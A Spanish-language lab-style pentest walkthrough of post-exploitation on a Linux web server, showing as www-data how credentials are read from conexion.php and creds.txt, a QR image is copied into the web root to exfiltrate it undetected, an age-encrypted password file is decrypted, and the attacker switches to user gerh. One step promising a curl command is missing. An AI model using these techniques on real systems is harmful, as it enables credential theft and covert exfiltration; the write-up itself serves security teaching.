Exfiltrando informacion sensible para una escalacion de privilegios en linux

Cuando se obtiene acceso a un servidor web comprometido, uno de los primeros pasos que debe realizar un pentester o atacante es revisar el directorio raíz donde se encuentra alojado el aplicativo web. Este directorio suele contener archivos importantes que pueden proporcionar información crítica sobre la estructura de la aplicación, configuraciones sensibles, credenciales de bases de datos y rutas a otros sistemas o recursos internos. Ignorar esta revisión podría llevar a perder oportunidades valiosas para la escalación de privilegios o comprometer más componentes del sistema.

Exploración del Directorio /var/www/spartan.store/

En este escenario, hemos obtenido acceso al servidor web con una cuenta de usuario limitada (www-data) en el directorio del aplicativo:

Al listar los archivos del directorio, observamos varios archivos y subdirectorios que parecen ser parte del sistema web, y algunos de ellos ya son indicativos de posibles vulnerabilidades o configuraciones mal protegidas:

www-data@spartan:/var/www/spartan.store/System$ ls -la
ls -la
total 64
drwxr-xr-x  8 www-data www-data 4096 May  1  2021 .
drwxr-xr-x  5 www-data www-data 4096 Sep 17 11:01 ..
drwxr-xr-x 10 www-data www-data 4096 Nov 27  2017 Sistema
drwxr-xr-x  8 www-data www-data 4096 Apr 24  2021 Sistema_cliente
-rw-r--r--  1 www-data www-data  185 May  1  2021 conexion.php
drwxr-xr-x  2 www-data www-data 4096 Nov 24  2017 css
-rw-r--r--  1 www-data www-data 4288 Apr 30  2021 guardar.php
-rw-r--r--  1 www-data www-data 3618 Apr 30  2021 guardar.php.bk
drwxr-xr-x  2 www-data www-data 4096 Apr 26  2021 img
-rw-r--r--  1 www-data www-data  176 Nov 29  2017 index.php
drwxr-xr-x  2 www-data www-data 4096 Jun 10  2021 js
-rw-r--r--  1 www-data www-data 1918 Apr 26  2021 new_cuenta.php
drwxr-xr-x  2 www-data www-data 4096 Dec  1  2017 scss
-rw-r--r--  1 www-data www-data 2213 Apr 22  2021 validar.php
-rw-r--r--  1 www-data www-data 1036 Apr 22  2021 validar.php.bk
www-data@spartan:/var/www/spartan.store/System$ cat conexion.php
cat conexion.php
<?php
$user = "gerh";
$password ="0.0.0.0:3306/Tech";
$db_name ="techshop_db";
$hostname = "localhost:3306";

$cadena = new mysqli($hostname,$user,$password,$db_name);
?>

conexion.php

Este archivo suele contener las credenciales de la base de datos y la configuración de conexión. Al obtener acceso a este archivo, podemos descubrir información crítica como el nombre de la base de datos, el usuario, la contraseña y la dirección del servidor de base de datos.

¿Por qué es Crucial la Revisión del Directorio?

  1. Descubrimiento de Credenciales: Los archivos de configuración como conexion.php o .env suelen contener credenciales que permiten el acceso directo a bases de datos u otros sistemas. Si un atacante obtiene estas credenciales, puede comprometer la base de datos, lo que a su vez puede llevar a un compromiso total del sistema.

  2. Identificación de Vulnerabilidades: Al revisar los archivos PHP y scripts de la aplicación, un pentester puede identificar vulnerabilidades de código, como validaciones incorrectas, inyecciones SQL, inyecciones de comandos, o puntos de fuga de información sensible.

  3. Descubrimiento de Copias de Seguridad: Archivos con extensiones como .bk (backup) o .old pueden contener versiones anteriores del código que no han sido parcheadas o actualizadas. Los desarrolladores suelen olvidarse de eliminar estas copias de respaldo, y en muchos casos, estas versiones pueden ser más vulnerables que los archivos actuales.

  4. Evidencia de Archivos o Funcionalidades Ocultas: Muchas veces, los archivos en el directorio web pueden dar pistas sobre funcionalidades no documentadas o que no están accesibles públicamente, pero que podrían ser explotables si el atacante sabe cómo acceder a ellas.

www-data@spartan:/var/www/spartan.store/System$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 May  4  2021 .
drwxr-xr-x 18 root  root  4096 Apr 23  2021 ..
drwxr-xr-x  8 addif addif 4096 Jun 10  2021 addif
drwxr-xr-x 11 gerh  gerh  4096 Jun 10  2021 gerh

www-data@spartan:/var/www/spartan.store/System$ ls -la /home/gerh
total 132
drwxr-xr-x 11 gerh gerh  4096 Jun 10  2021 .
drwxr-xr-x  4 root root  4096 May  4  2021 ..
drwxr-xr-x  2 gerh gerh  4096 May 21  2021 .MyBk
-rw-------  1 gerh gerh    13 Jun 10  2021 .bash_history
-rw-r--r--  1 gerh gerh   220 Apr 23  2021 .bash_logout
-rw-r--r--  1 gerh gerh  3526 Apr 23  2021 .bashrc
drwx------  3 gerh gerh  4096 Apr 23  2021 .gnupg
drwxr-xr-x  3 gerh gerh  4096 Apr 23  2021 .local
-rw-------  1 gerh gerh    31 May  1  2021 .mysql_history
drwxr-xr-x  4 gerh gerh  4096 Apr 27  2021 .npm
drwxr-xr-x 12 gerh gerh  4096 Apr 27  2021 .oh-my-zsh
-rw-r--r--  1 gerh gerh   807 Apr 23  2021 .profile
-rw-r--r--  1 gerh gerh   180 Apr 27  2021 .wget-hsts
-rw-r--r--  1 gerh gerh 49046 Jun 10  2021 .zcompdump-techpot-5.7.1
-rw-------  1 gerh gerh   334 Jun 10  2021 .zsh_history
-rw-r--r--  1 gerh gerh  3723 Apr 27  2021 .zshrc
drwxr-xr-x  2 gerh gerh  4096 May 20  2021 Documents
drwxr-xr-x  2 gerh gerh  4096 May 19  2021 Downloads
drwxr-xr-x  2 gerh gerh  4096 Jun 10  2021 Pictures
drwxr-xr-x  2 gerh gerh  4096 May 19  2021 Videos
-rw-r--r--  1 root root    35 May  4  2021 creds.txt
-rwx------  1 gerh gerh    32 Apr 26  2021 user.txt

www-data@spartan:/var/www/spartan.store/System$ cat /home/gerh/creds.txt
ssh root@localhost
pass:PassStrong

www-data@spartan:/var/www/spartan.store/System$ ls -la /home/gerh/.MyBk
ls -la /home/gerh/.MyBk
total 12
drwxr-xr-x  2 gerh gerh 4096 May 21  2021 .
drwxr-xr-x 11 gerh gerh 4096 Jun 10  2021 ..
-rw-r--r--  1 gerh gerh  231 May 19  2021 passwords.txt.age

Se ha encontrado un archivo sospechoso llamado passwords.txt.age en el directorio /home/gerh/.MyBk. Este archivo, con extensión .age, indica que está cifrado utilizando la herramienta age (Another Golang Encryption tool), una utilidad comúnmente utilizada para cifrar archivos de forma rápida y sencilla.

La presencia de este archivo sugiere que podría contener información sensible, como contraseñas u otros datos importantes, que el usuario gerh ha cifrado para proteger. El siguiente paso lógico sería intentar descifrar este archivo, siempre que podamos obtener la clave o la contraseña utilizada para el cifrado.

Este hallazgo es crítico, ya que podría contener credenciales adicionales o claves para otros sistemas que podrían facilitar una escalación de privilegios o comprometer otros servicios del servidor.

www-data@spartan:/var/www/spartan.store/System$ cat /home/gerh/.MyBk/passwords.txt.age
age-encryption.org/v1
-> scrypt PboKGcTDnozTOAhMQPxl8g 18
g30aquBRKXJD1M6RCirMt1NvmXXN5F3dKD7A+7Emki8
--- Vmp2wRzG0Dh62Mmle0zLmhe2cYMwr3rP2KnuwWOqx40
�?)A2���ϸ���:@���
��m0
    ��VG@R��M��fB�3ve桝��䞯����<�ҽ��r\��:��     �t����f��y
www-data@spartan:/var/www/spartan.store/System$ ls -la /home/gerh/Pictures
ls -la /home/gerh/Pictures
total 3072
drwxr-xr-x  2 gerh gerh    4096 Jun 10  2021 .
drwxr-xr-x 11 gerh gerh    4096 Jun 10  2021 ..
-rw-r--r--  1 gerh gerh 1079330 May 19  2021 Gerh-Photo.jpg
-rw-r--r--  1 gerh gerh    5748 May 19  2021 Samoyed.jpg
-rw-r--r--  1 gerh gerh 1856243 May 19  2021 memories.jpg
-rw-r--r--  1 gerh gerh     604 May 21  2021 qr.png
-rw-r--r--  1 gerh gerh  182831 May 19  2021 samoyed-kawai.jpg

Todo archivo y directorio en el servidor debe ser revisado minuciosamente, ya que cualquier elemento podría contener información valiosa, como credenciales, claves o datos sensibles que pueden facilitar la escalación de privilegios o comprometer más partes del sistema. En este caso, al listar el contenido del directorio /home/gerh/Pictures, hemos encontrado archivos de imágenes, incluyendo un qr.png, que podría contener información codificada en un código QR.

Las imágenes, especialmente las que contienen códigos QR o metadatos, deben ser revisadas, ya que es común que los atacantes o incluso los administradores guarden información en lugares poco convencionales. Los códigos QR pueden contener URLs, contraseñas, claves de cifrado, o cualquier otra información que se puede utilizar para avanzar en la explotación.

Recomiendo el uso de herramientas como LinPEAS o WinPEAS para automatizar la búsqueda de información sensible en el sistema, identificar configuraciones inseguras o privilegios mal gestionados, y facilitar la detección de posibles vulnerabilidades que puedan ser explotadas.

LinPEAS y WinPEAS son scripts diseñados para realizar un escaneo exhaustivo de sistemas Linux y Windows respectivamente, buscando información útil para la escalación de privilegios.

En ciertos escenarios de pentesting o auditorías de seguridad, la exfiltración de archivos es una tarea crucial. Esta consiste en extraer datos o archivos sensibles desde el servidor comprometido hacia el atacante o auditor. Sin embargo, este proceso debe realizarse de manera que pase desapercibido y sin levantar alertas. Un enfoque recomendado es aprovechar los servicios ya expuestos por la aplicación, lo que facilita el acceso y reduce la probabilidad de detección.

Uso de Servicios Expuestos para Exfiltración

En este caso particular, estamos trabajando con un servidor web comprometido, donde la aplicación ya expone varios servicios HTTP. En lugar de establecer canales de comunicación adicionales que podrían ser detectados o bloqueados, es más eficiente utilizar el propio servidor web para servir los archivos que deseamos extraer.

Por ejemplo, se ha identificado un archivo qr.png que podría contener información valiosa. Para exfiltrar este archivo, simplemente copiamos el archivo al directorio público del servidor web, que ya está expuesto a través del servicio HTTP:

www-data@spartan:/var/www/spartan.store/System$ cp /home/gerh/Pictures/qr.png /var/www/spartan.store

Esto coloca el archivo qr.png en la raíz del servidor web, lo que nos permite acceder a él a través de una URL pública sin necesidad de establecer nuevos canales de comunicación.

Acceso al Archivo Exfiltrado

Una vez que el archivo ha sido copiado al directorio público, podemos acceder a él utilizando un navegador o una herramienta de descarga, como curl, de la siguiente manera:

Estas credenciales sirven para desencriptar el archivo de passwords y en este encontramos unas nuevas credenciales para el usuario de gerh:

www-data@spartan:/home/gerh/.MyBk$ ls -la
ls -la
total 12
drwxr-xr-x  2 gerh gerh 4096 May 21  2021 .
drwxr-xr-x 11 gerh gerh 4096 Jun 10  2021 ..
-rw-r--r--  1 gerh gerh  231 May 19  2021 passwords.txt.age
www-data@spartan:/home/gerh/.MyBk$ age -d passwords.txt.age > /tmp/www-data.txt
Enter passphrase: My-D0g-1s-Gerh!

www-data@spartan:/home/gerh/.MyBk$ cat /tmp/www-data.txt
0.0.0.0:3306/Tech
0.0.0.0:777/Tech
G0dIsL0ve-777

www-data@spartan:/home/gerh/.MyBk$ su gerh
Password: 0.0.0.0:777/Tech

Welcome Gerh
    -Techpot
╭─[~/.MyBk]─[gerh@spartan]─[0]─[16]                                            
╰─[:)] % id
uid=1000(gerh) gid=1000(gerh) groups=1000(gerh),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1002(developers)

╭─[~/.MyBk]─[gerh@spartan]─[0]─[17]                                            
╰─[:)] % whoami
whoami
gerh

Este método es altamente efectivo en escenarios donde el servidor web ya está expuesto, y al utilizar el mismo servicio, es menos probable que se active una alerta en sistemas de detección de intrusiones.

Conclusión

La exfiltración de archivos utilizando los servicios ya expuestos por el aplicativo es una técnica recomendada por su simplicidad y eficacia. En este caso, aprovechamos el propio servidor web para extraer archivos sensibles sin necesidad de configurar nuevos canales de exfiltración que podrían ser más riesgosos o visibles para los sistemas de seguridad.

Last updated